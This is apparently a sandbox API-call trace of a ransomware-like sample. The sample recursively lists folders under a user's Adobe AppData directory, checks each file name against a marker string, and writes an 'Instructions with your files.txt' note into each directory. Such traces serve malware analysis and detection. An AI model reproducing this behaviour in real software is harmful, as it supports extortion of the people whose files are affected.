[0128.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
[0128.249] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 85
[0128.249] StrStrIW (lpFirst="AdobeCMapFnt10.lst", lpSrch="SDfghjkl") returned 0x0
[0128.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
[0128.249] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 84
[0128.249] StrStrIW (lpFirst="AdobeSysFnt10.lst", lpSrch="SDfghjkl") returned 0x0
[0128.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
[0128.249] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache") returned 72
[0128.249] GetProcessHeap () returned 0x810000
[0128.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8cdc28
[0128.250] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*") returned 74
[0128.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0128.252] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\.") returned 74
[0128.252] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.252] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\..") returned 75
[0128.252] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
[0128.252] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 86
[0128.252] StrStrIW (lpFirst="AcroFnt10.lst", lpSrch="SDfghjkl") returned 0x0
[0128.252] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0
[0128.252] wnsprintfW (in: pszDest=0x8cdc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\Instructions with your files.txt") returned 105
[0128.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0128.253] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0128.253] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0128.254] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0128.254] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0128.254] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0128.254] CloseHandle (hObject=0x120) returned 1
[0128.254] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0128.254] GetProcessHeap () returned 0x810000
[0128.254] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8cdc28 | out: hHeap=0x810000) returned 1
[0128.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
[0128.254] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 83
[0128.254] StrStrIW (lpFirst="SharedDataEvents", lpSrch="SDfghjkl") returned 0x0
[0128.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
[0128.254] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 80
[0128.254] StrStrIW (lpFirst="UserCache.bin", lpSrch="SDfghjkl") returned 0x0
[0128.254] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
[0128.254] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 99
[0128.255] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0128.255] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0128.256] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0128.256] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0128.256] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0128.256] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0128.256] CloseHandle (hObject=0x11c) returned 1
[0128.256] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0128.256] GetProcessHeap () returned 0x810000
[0128.256] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0128.256] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0
[0128.256] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\Instructions with your files.txt") returned 94
[0128.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0128.257] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0128.258] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0128.258] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0128.258] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0128.258] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0128.258] CloseHandle (hObject=0x118) returned 1
[0128.258] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0128.259] GetProcessHeap () returned 0x810000
[0128.259] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x856bd0 | out: hHeap=0x810000) returned 1
[0128.260] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
[0128.260] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned 59
[0128.260] GetProcessHeap () returned 0x810000
[0128.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x856bd0
[0128.260] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*") returned 61
[0128.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0128.260] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\.") returned 61
[0128.260] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.260] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\..") returned 62
[0128.260] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1
[0128.260] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 74
[0128.260] StrStrIW (lpFirst="ACECache11.lst", lpSrch="SDfghjkl") returned 0x0
[0128.260] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
[0128.260] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned 68
[0128.260] GetProcessHeap () returned 0x810000
[0128.260] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.261] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned 70
[0128.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0128.263] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\.") returned 70
[0128.263] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.263] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\..") returned 71
[0128.263] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
[0128.263] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 79
[0128.263] StrStrIW (lpFirst="wscRGB.icc", lpSrch="SDfghjkl") returned 0x0
[0128.263] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1
[0128.263] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 78
[0128.263] StrStrIW (lpFirst="wsRGB.icc", lpSrch="SDfghjkl") returned 0x0
[0128.263] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0
[0128.263] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\Instructions with your files.txt") returned 101
[0128.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0128.264] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0128.265] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0128.265] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
